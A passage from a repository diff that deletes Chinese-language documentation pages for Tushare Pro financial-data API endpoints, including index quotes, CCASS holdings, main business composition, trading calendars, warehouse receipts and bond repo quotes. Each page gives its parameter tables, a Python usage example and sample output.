<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>指数代码</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>Y</td>
<td>交易日期</td>
</tr>
<tr>
<td>open</td>
<td>float</td>
<td>Y</td>
<td>开盘点位</td>
</tr>
<tr>
<td>low</td>
<td>float</td>
<td>Y</td>
<td>最低点位</td>
</tr>
<tr>
<td>high</td>
<td>float</td>
<td>Y</td>
<td>最高点位</td>
</tr>
<tr>
<td>close</td>
<td>float</td>
<td>Y</td>
<td>收盘点位</td>
</tr>
<tr>
<td>pre_close</td>
<td>float</td>
<td>Y</td>
<td>昨日收盘点位</td>
</tr>
<tr>
<td>change</td>
<td>float</td>
<td>Y</td>
<td>涨跌点位</td>
</tr>
<tr>
<td>pct_change</td>
<td>float</td>
<td>Y</td>
<td>涨跌幅</td>
</tr>
<tr>
<td>vol</td>
<td>float</td>
<td>Y</td>
<td>成交量(万股)</td>
</tr>
<tr>
<td>amount</td>
<td>float</td>
<td>Y</td>
<td>成交额(万元)</td>
</tr>
</tbody></table>
接口示例
```
pro = ts.pro_api('your token')
df = pro.ci_daily(trade_date='20230705', fields='ts_code,trade_date,open,low,high,close')
```
数据示例
```
ts_code trade_date open low high close
0 CI005001.CI 20230705 2757.5662 2736.8198 2764.1863 2754.2617
1 CI005002.CI 20230705 3006.7166 3000.1382 3039.3916 3029.7837
2 CI005003.CI 20230705 6443.6250 6431.1250 6597.5933 6588.1401
3 CI005004.CI 20230705 2675.3940 2672.7278 2693.6438 2676.9941
4 CI005005.CI 20230705 1575.1489 1571.6997 1597.4792 1593.6205
.. ... ... ... ... ... ...
435 CI005920.CI 20230705 6585.6924 6521.1846 6599.1216 6529.9458
436 CI005921.CI 20230705 2759.9133 2753.9324 2781.3979 2757.9863
437 CI005922.CI 20230705 5690.3843 5645.3955 5690.4165 5652.8184
438 CI005923.CI 20230705 5855.1333 5808.8325 5855.1470 5816.7471
439 CI005924.CI 20230705 5782.8662 5737.0601 5782.8984 5744.5962
[440 rows x 6 columns]
```

View file

@ -1,134 +0,0 @@
# 中央结算系统持股明细
**文档ID**: 274
**原始链接**: https://tushare.pro/document/2?doc_id=274
---
## 中央结算系统持股明细
接口:ccass_hold_detail描述:获取中央结算系统机构席位持股明细,数据覆盖全历史,根据交易所披露时间,当日数据在下一交易日早上9点前完成限量:单次最大返回6000条数据,可以循环或分页提取积分:用户积8000积分可调取,每分钟可以请求300次
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>股票代码 (e.g. 605009.SH)</td>
</tr>
<tr>
<td>hk_code</td>
<td>str</td>
<td>N</td>
<td>港交所代码 (e.g. 95009)</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>N</td>
<td>交易日期(YYYYMMDD格式,下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>trade_date</td>
<td>str</td>
<td>Y</td>
<td>交易日期</td>
</tr>
<tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>股票代号</td>
</tr>
<tr>
<td>name</td>
<td>str</td>
<td>Y</td>
<td>股票名称</td>
</tr>
<tr>
<td>col_participant_id</td>
<td>str</td>
<td>Y</td>
<td>参与者编号</td>
</tr>
<tr>
<td>col_participant_name</td>
<td>str</td>
<td>Y</td>
<td>机构名称</td>
</tr>
<tr>
<td>col_shareholding</td>
<td>str</td>
<td>Y</td>
<td>持股量(股)</td>
</tr>
<tr>
<td>col_shareholding_percent</td>
<td>str</td>
<td>Y</td>
<td>占已发行股份/权证/单位百分比(%)</td>
</tr>
</tbody></table>
接口用法
```
pro = ts.pro_api()
df = pro.ccass_hold_detail(ts_code='00960.HK', trade_date='20211101', fields='trade_date,ts_code,col_participant_id,col_participant_name,col_shareholding')
```
数据样例
```
trade_date ts_code col_participant_id col_participant_name col_shareholding
0 20211101 00960.HK B01777 大和资本市场香港有限公司 3000
1 20211101 00960.HK B01977 中财证券有限公司 3000
2 20211101 00960.HK B02068 勤丰证券有限公司 3000
3 20211101 00960.HK B01413 京华山一国际(香港)有限公司 2500
4 20211101 00960.HK B02120 利弗莫尔证券有限公司 2500
.. ... ... ... ... ...
164 20211101 00960.HK B01459 奕丰证券(香港)有限公司 3000
165 20211101 00960.HK B01508 西证(香港)证券经纪有限公司 3000
166 20211101 00960.HK B01511 达利证券有限公司 3000
167 20211101 00960.HK B01657 日盛嘉富证券国际有限公司 3000
168 20211101 00960.HK B01712 华生证券有限公司 3000
```

View file

@ -1,129 +0,0 @@
# 中央结算系统持股统计
**文档ID**: 295
**原始链接**: https://tushare.pro/document/2?doc_id=295
---
## 中央结算系统持股汇总
接口:ccass_hold描述:获取中央结算系统持股汇总数据,覆盖全部历史数据,根据交易所披露时间,当日数据在下一交易日早上9点前完成入库限量:单次最大5000条数据,可循环或分页提供全部积分:用户120积分可以试用看数据,5000积分每分钟可以请求300次,8000积分以上可以请求500次每分钟,具体请参阅积分获取办法
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>股票代码 (e.g. 605009.SH)</td>
</tr>
<tr>
<td>hk_code</td>
<td>str</td>
<td>N</td>
<td>港交所代码 (e.g. 95009)</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>N</td>
<td>交易日期(YYYYMMDD格式,下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>trade_date</td>
<td>str</td>
<td>Y</td>
<td>交易日期</td>
</tr>
<tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>股票代号</td>
</tr>
<tr>
<td>name</td>
<td>str</td>
<td>Y</td>
<td>股票名称</td>
</tr>
<tr>
<td>shareholding</td>
<td>str</td>
<td>Y</td>
<td>于中央结算系统的持股量(股)<br/>Shareholding in CCASS</td>
</tr>
<tr>
<td>hold_nums</td>
<td>str</td>
<td>Y</td>
<td>参与者数目(个)</td>
</tr>
<tr>
<td>hold_ratio</td>
<td>str</td>
<td>Y</td>
<td>占于上交所上市及交易的A股总数的百分比(%)<br/>% of the total number of A shares listed and traded on the SSE</td>
</tr>
</tbody></table>
Note:
- The total number of A shares listed and traded on the SSE of the relevant SSE-listed company used for calculating the percentage of shareholding may not have taken into account any change in connection with or as a result of any corporate actions of the relevant company and hence, may not be up-to-date. The percentage of shareholding is for reference only.
- The total number of A shares listed and traded on the SSE of the relevant SSE-listed company used for calculating the percentage of shareholding may not be equal to the actual total number of issued shares of that company.
接口用法
```
pro = ts.pro_api()
df = pro.ccass_hold(ts_code='00960.HK')
```
数据样例
```
trade_date ts_code name shareholding hold_nums hold_ratio
0 20220519 00960.HK 龍湖集團 4576163843 182 75.30
1 20220518 00960.HK 龍湖集團 4576043843 182 75.30
2 20220517 00960.HK 龍湖集團 4575955343 180 75.30
3 20220516 00960.HK 龍湖集團 4575905343 179 75.30
4 20220513 00960.HK 龍湖集團 4575905343 181 75.30
```

View file

@ -1,133 +0,0 @@
# 主营业务构成
**文档ID**: 81
**原始链接**: https://tushare.pro/document/2?doc_id=81
---
## 主营业务构成
接口:fina_mainbz描述:获得上市公司主营业务构成,分地区和产品两种方式权限:用户需要至少2000积分才可以调取,具体请参阅积分获取办法,单次最大提取100行,总量不限制,可循环获取。提示:当前接口只能按单只股票获取其历史数据,如果需要获取某一季度全部上市公司数据,请使用fina_mainbz_vip接口(参数一致),需积攒5000积分。
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>股票代码</td>
</tr>
<tr>
<td>period</td>
<td>str</td>
<td>N</td>
<td>报告期(每个季度最后一天的日期,比如20171231表示年报)</td>
</tr>
<tr>
<td>type</td>
<td>str</td>
<td>N</td>
<td>类型:P按产品 D按地区 I按行业(请输入大写字母P或者D)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>报告期开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>报告期结束日期</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>TS代码</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>报告期</td>
</tr>
<tr>
<td>bz_item</td>
<td>str</td>
<td>主营业务来源</td>
</tr>
<tr>
<td>bz_sales</td>
<td>float</td>
<td>主营业务收入(元)</td>
</tr>
<tr>
<td>bz_profit</td>
<td>float</td>
<td>主营业务利润(元)</td>
</tr>
<tr>
<td>bz_cost</td>
<td>float</td>
<td>主营业务成本(元)</td>
</tr>
<tr>
<td>curr_type</td>
<td>str</td>
<td>货币代码</td>
</tr>
<tr>
<td>update_flag</td>
<td>str</td>
<td>是否更新</td>
</tr>
</tbody></table>
代码示例
```
pro = ts.pro_api()
df = pro.fina_mainbz(ts_code='000627.SZ', type='P')
```
获取某一季度全部股票数据
```
df = pro.fina_mainbz_vip(period='20181231', type='P' ,fields='ts_code,end_date,bz_item,bz_sales')
```
数据样例
```
ts_code end_date bz_item bz_sales bz_profit bz_cost curr_type
0 000627.SZ 20171231 其他产品 1.847507e+08 None None CNY
1 000627.SZ 20171231 其他主营业务 1.847507e+08 None None CNY
2 000627.SZ 20171231 聚丙烯 6.629111e+07 None None CNY
3 000627.SZ 20171231 原料药产品 2.685909e+08 None None CNY
4 000627.SZ 20171231 保险业务 5.288595e+10 None None CNY
```

View file

@ -1,169 +0,0 @@
# 交易日历
**文档ID**: 137
**原始链接**: https://tushare.pro/document/2?doc_id=137
---
## 交易日历
接口:trade_cal描述:获取各大期货交易所交易日历数据积分:需2000积分才可以提取数据
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>exchange</td>
<td>str</td>
<td>N</td>
<td>交易所 SHFE 上期所 DCE 大商所 CFFEX中金所 CZCE郑商所 INE上海国际能源交易所</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
<tr>
<td>is_open</td>
<td>int</td>
<td>N</td>
<td>是否交易 0休市 1交易</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>exchange</td>
<td>str</td>
<td>Y</td>
<td>交易所 同参数部分描述</td>
</tr>
<tr>
<td>cal_date</td>
<td>str</td>
<td>Y</td>
<td>日历日期</td>
</tr>
<tr>
<td>is_open</td>
<td>int</td>
<td>Y</td>
<td>是否交易 0休市 1交易</td>
</tr>
<tr>
<td>pretrade_date</td>
<td>str</td>
<td>N</td>
<td>上一个交易日</td>
</tr>
</tbody></table>
接口示例
```
pro = ts.pro_api('your token')
df = pro.trade_cal(exchange='DCE', start_date='20180101', end_date='20181231')
```
或者
```
df = pro.query('trade_cal', exchange='DCE', start_date='20180101', end_date='20181231')
```
数据样例
```
exchange cal_date is_open
0 DCE 20180101 0
1 DCE 20180102 1
2 DCE 20180103 1
3 DCE 20180104 1
4 DCE 20180105 1
5 DCE 20180106 0
6 DCE 20180107 0
7 DCE 20180108 1
8 DCE 20180109 1
9 DCE 20180110 1
10 DCE 20180111 1
11 DCE 20180112 1
12 DCE 20180113 0
13 DCE 20180114 0
14 DCE 20180115 1
15 DCE 20180116 1
16 DCE 20180117 1
17 DCE 20180118 1
18 DCE 20180119 1
19 DCE 20180120 0
20 DCE 20180121 0
21 DCE 20180122 1
22 DCE 20180123 1
23 DCE 20180124 1
24 DCE 20180125 1
25 DCE 20180126 1
26 DCE 20180127 0
27 DCE 20180128 0
28 DCE 20180129 1
29 DCE 20180130 1
.. ... ... ...
335 DCE 20181202 0
336 DCE 20181203 1
337 DCE 20181204 1
338 DCE 20181205 1
339 DCE 20181206 1
340 DCE 20181207 1
341 DCE 20181208 0
342 DCE 20181209 0
343 DCE 20181210 1
344 DCE 20181211 1
345 DCE 20181212 1
346 DCE 20181213 1
347 DCE 20181214 1
348 DCE 20181215 0
349 DCE 20181216 0
350 DCE 20181217 1
351 DCE 20181218 1
352 DCE 20181219 1
353 DCE 20181220 1
354 DCE 20181221 1
355 DCE 20181222 0
356 DCE 20181223 0
357 DCE 20181224 1
358 DCE 20181225 1
359 DCE 20181226 1
360 DCE 20181227 1
361 DCE 20181228 1
362 DCE 20181229 0
363 DCE 20181230 0
364 DCE 20181231 1
```

View file

@ -1,205 +0,0 @@
# 仓单日报
**文档ID**: 140
**原始链接**: https://tushare.pro/document/2?doc_id=140
---
## 仓单日报
接口:fut_wsr描述:获取仓单日报数据,了解各仓库/厂库的仓单变化限量:单次最大1000,总量不限制积分:用户需要至少2000积分才可以调取,具体请参阅积分获取办法
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>trade_date</td>
<td>str</td>
<td>N</td>
<td>交易日期</td>
</tr>
<tr>
<td>symbol</td>
<td>str</td>
<td>N</td>
<td>产品代码</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期(YYYYMMDD格式,下同)</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
<tr>
<td>exchange</td>
<td>str</td>
<td>N</td>
<td>交易所代码</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>trade_date</td>
<td>str</td>
<td>Y</td>
<td>交易日期</td>
</tr>
<tr>
<td>symbol</td>
<td>str</td>
<td>Y</td>
<td>产品代码</td>
</tr>
<tr>
<td>fut_name</td>
<td>str</td>
<td>Y</td>
<td>产品名称</td>
</tr>
<tr>
<td>warehouse</td>
<td>str</td>
<td>Y</td>
<td>仓库名称</td>
</tr>
<tr>
<td>wh_id</td>
<td>str</td>
<td>N</td>
<td>仓库编号</td>
</tr>
<tr>
<td>pre_vol</td>
<td>int</td>
<td>Y</td>
<td>昨日仓单量</td>
</tr>
<tr>
<td>vol</td>
<td>int</td>
<td>Y</td>
<td>今日仓单量</td>
</tr>
<tr>
<td>vol_chg</td>
<td>int</td>
<td>Y</td>
<td>增减量</td>
</tr>
<tr>
<td>area</td>
<td>str</td>
<td>N</td>
<td>地区</td>
</tr>
<tr>
<td>year</td>
<td>str</td>
<td>N</td>
<td>年度</td>
</tr>
<tr>
<td>grade</td>
<td>str</td>
<td>N</td>
<td>等级</td>
</tr>
<tr>
<td>brand</td>
<td>str</td>
<td>N</td>
<td>品牌</td>
</tr>
<tr>
<td>place</td>
<td>str</td>
<td>N</td>
<td>产地</td>
</tr>
<tr>
<td>pd</td>
<td>int</td>
<td>N</td>
<td>升贴水</td>
</tr>
<tr>
<td>is_ct</td>
<td>str</td>
<td>N</td>
<td>是否折算仓单</td>
</tr>
<tr>
<td>unit</td>
<td>str</td>
<td>Y</td>
<td>单位</td>
</tr>
<tr>
<td>exchange</td>
<td>str</td>
<td>N</td>
<td>交易所</td>
</tr>
</tbody></table>
接口示例
```
pro = ts.pro_api('your token')
df = pro.fut_wsr(trade_date='20181113', symbol='ZN')
```
数据示例
```
trade_date symbol fut_name warehouse pre_vol vol vol_chg unit
0 20181113 ZN 锌 上海裕强 4960 4960 0 吨
1 20181113 ZN 锌 上港物流 702 702 0 吨
2 20181113 ZN 锌 上港物流苏州 0 0 0 吨
3 20181113 ZN 锌 中储吴淞 0 0 0 吨
4 20181113 ZN 锌 中储大场 0 0 0 吨
5 20181113 ZN 锌 中储晟世 0 0 0 吨
6 20181113 ZN 锌 中金圣源 428 353 -75 吨
7 20181113 ZN 锌 全胜物流 2882 2882 0 吨
8 20181113 ZN 锌 南储仓储 25 25 0 吨
9 20181113 ZN 锌 同盛松江 0 0 0 吨
10 20181113 ZN 锌 国储837处 0 0 0 吨
11 20181113 ZN 锌 国储天威 0 0 0 吨
12 20181113 ZN 锌 国能物流常州 200 200 0 吨
13 20181113 ZN 锌 外运华东张华浜 0 0 0 吨
14 20181113 ZN 锌 宁波九龙仓 0 0 0 吨
15 20181113 ZN 锌 广储830三水西 0 0 0 吨
16 20181113 ZN 锌 康运萧山 0 0 0 吨
17 20181113 ZN 锌 无锡国联 0 0 0 吨
18 20181113 ZN 锌 期晟公司 449 226 -223 吨
19 20181113 ZN 锌 浙江康运 25 25 0 吨
20 20181113 ZN 锌 百金汇物流 0 0 0 吨
21 20181113 ZN 锌 裕强闵行 0 0 0 吨
```

View file

@ -1,198 +0,0 @@
# 债券回购日行情
**文档ID**: 256
**原始链接**: https://tushare.pro/document/2?doc_id=256
---
## 债券回购日行情
接口:repo_daily描述:债券回购日行情限量:单次最大2000条,可多次提取,总量不限制权限:用户需要累积2000积分才可以调取,具体请参阅积分获取办法
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>TS代码</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>N</td>
<td>交易日期(YYYYMMDD格式,下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>TS代码</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>Y</td>
<td>交易日期</td>
</tr>
<tr>
<td>repo_maturity</td>
<td>str</td>
<td>Y</td>
<td>期限品种</td>
</tr>
<tr>
<td>pre_close</td>
<td>float</td>
<td>Y</td>
<td>前收盘(%)</td>
</tr>
<tr>
<td>open</td>
<td>float</td>
<td>Y</td>
<td>开盘价(%)</td>
</tr>
<tr>
<td>high</td>
<td>float</td>
<td>Y</td>
<td>最高价(%)</td>
</tr>
<tr>
<td>low</td>
<td>float</td>
<td>Y</td>
<td>最低价(%)</td>
</tr>
<tr>
<td>close</td>
<td>float</td>
<td>Y</td>
<td>收盘价(%)</td>
</tr>
<tr>
<td>weight</td>
<td>float</td>
<td>Y</td>
<td>加权价(%)</td>
</tr>
<tr>
<td>weight_r</td>
<td>float</td>
<td>Y</td>
<td>加权价(利率债)(%)</td>
</tr>
<tr>
<td>amount</td>
<td>float</td>
<td>Y</td>
<td>成交金额(万元)</td>
</tr>
<tr>
<td>num</td>
<td>int</td>
<td>Y</td>
<td>成交笔数(笔)</td>
</tr>
</tbody></table>
接口使用
```
pro = ts.pro_api()
#获取2020年8月4日债券回购日行情
df = pro.repo_daily(trade_date='20200804')
```
数据样例
```
ts_code trade_date repo_maturity weight amount
0 131800.SZ 20200804 R-003 2.02150000 42783.000000
1 131801.SZ 20200804 R-007 2.23240000 618050.300000
2 131802.SZ 20200804 R-014 2.24820000 59506.300000
3 131803.SZ 20200804 R-028 2.35080000 21210.700000
4 131805.SZ 20200804 R-091 2.35550000 2566.000000
5 131806.SZ 20200804 R-182 2.10840000 113.200000
6 131809.SZ 20200804 R-004 2.06990000 24218.900000
7 131810.SZ 20200804 R-001 2.03600000 10748048.000000
8 131811.SZ 20200804 R-002 2.01270000 39459.200000
9 131981.SZ 20200804 RR-001 6.70000000 1000.000000
10 131982.SZ 20200804 RR-007 6.05000000 22800.000000
11 131983.SZ 20200804 RR-014 5.82000000 18500.000000
12 131985.SZ 20200804 RR-1M 7.00000000 4900.000000
13 204001.SH 20200804 GC001 2.10000000 85393260.000000
14 204002.SH 20200804 GC002 2.09200000 488300.000000
15 204003.SH 20200804 GC003 2.11900000 1260240.000000
16 204004.SH 20200804 GC004 2.16500000 352040.000000
17 204007.SH 20200804 GC007 2.21200000 13110650.000000
18 204014.SH 20200804 GC014 2.25900000 2318820.000000
19 204028.SH 20200804 GC028 2.32100000 1204850.000000
20 204091.SH 20200804 GC091 2.41500000 16330.000000
21 204182.SH 20200804 GC182 2.25800000 80.000000
22 206001.SH 20200804 R001 4.00300000 66518.000000
23 206007.SH 20200804 R007 4.36600000 530473.000000
24 206014.SH 20200804 R014 5.16900000 344245.000000
25 206021.SH 20200804 R021 5.97600000 17976.000000
26 206030.SH 20200804 R1M 5.33200000 56671.000000
27 206090.SH 20200804 R3M 7.59900000 9285.000000
28 207007.SH 20200804 TPR007 2.29900000 37500.000000
29 DR001.IB 20200804 DR001 1.90740000 196463895.000000
30 DR007.IB 20200804 DR007 2.11440000 8751142.000000
31 DR014.IB 20200804 DR014 1.99320000 2810816.000000
32 DR021.IB 20200804 DR021 2.08610000 1800794.000000
33 DR1M.IB 20200804 DR1M 2.02160000 239369.000000
34 DR3M.IB 20200804 DR3M 2.58500000 49956.000000
35 DR6M.IB 20200804 DR6M 2.60000000 10000.000000
36 OR001.IB 20200804 OR001 1.91850000 2677840.000000
37 OR007.IB 20200804 OR007 2.05950000 358750.000000
38 OR014.IB 20200804 OR014 2.41020000 129650.000000
39 OR021.IB 20200804 OR021 1.76630000 42000.000000
40 OR1M.IB 20200804 OR1M 2.36910000 34000.000000
41 R001.IB 20200804 R001 1.96000000 350750823.000000
42 R007.IB 20200804 R007 2.17850000 42502804.000000
43 R014.IB 20200804 R014 2.24390000 8123663.000000
44 R021.IB 20200804 R021 1.97400000 6072093.000000
45 R1M.IB 20200804 R1M 2.44950000 1163185.000000
46 R2M.IB 20200804 R2M 3.91140000 37170.000000
47 R3M.IB 20200804 R3M 2.92950000 88436.000000
48 R4M.IB 20200804 R4M 6.50000000 1750.000000
49 R6M.IB 20200804 R6M 2.60000000 10000.000000
```

Some files were not shown because too many files have changed in this diff Show more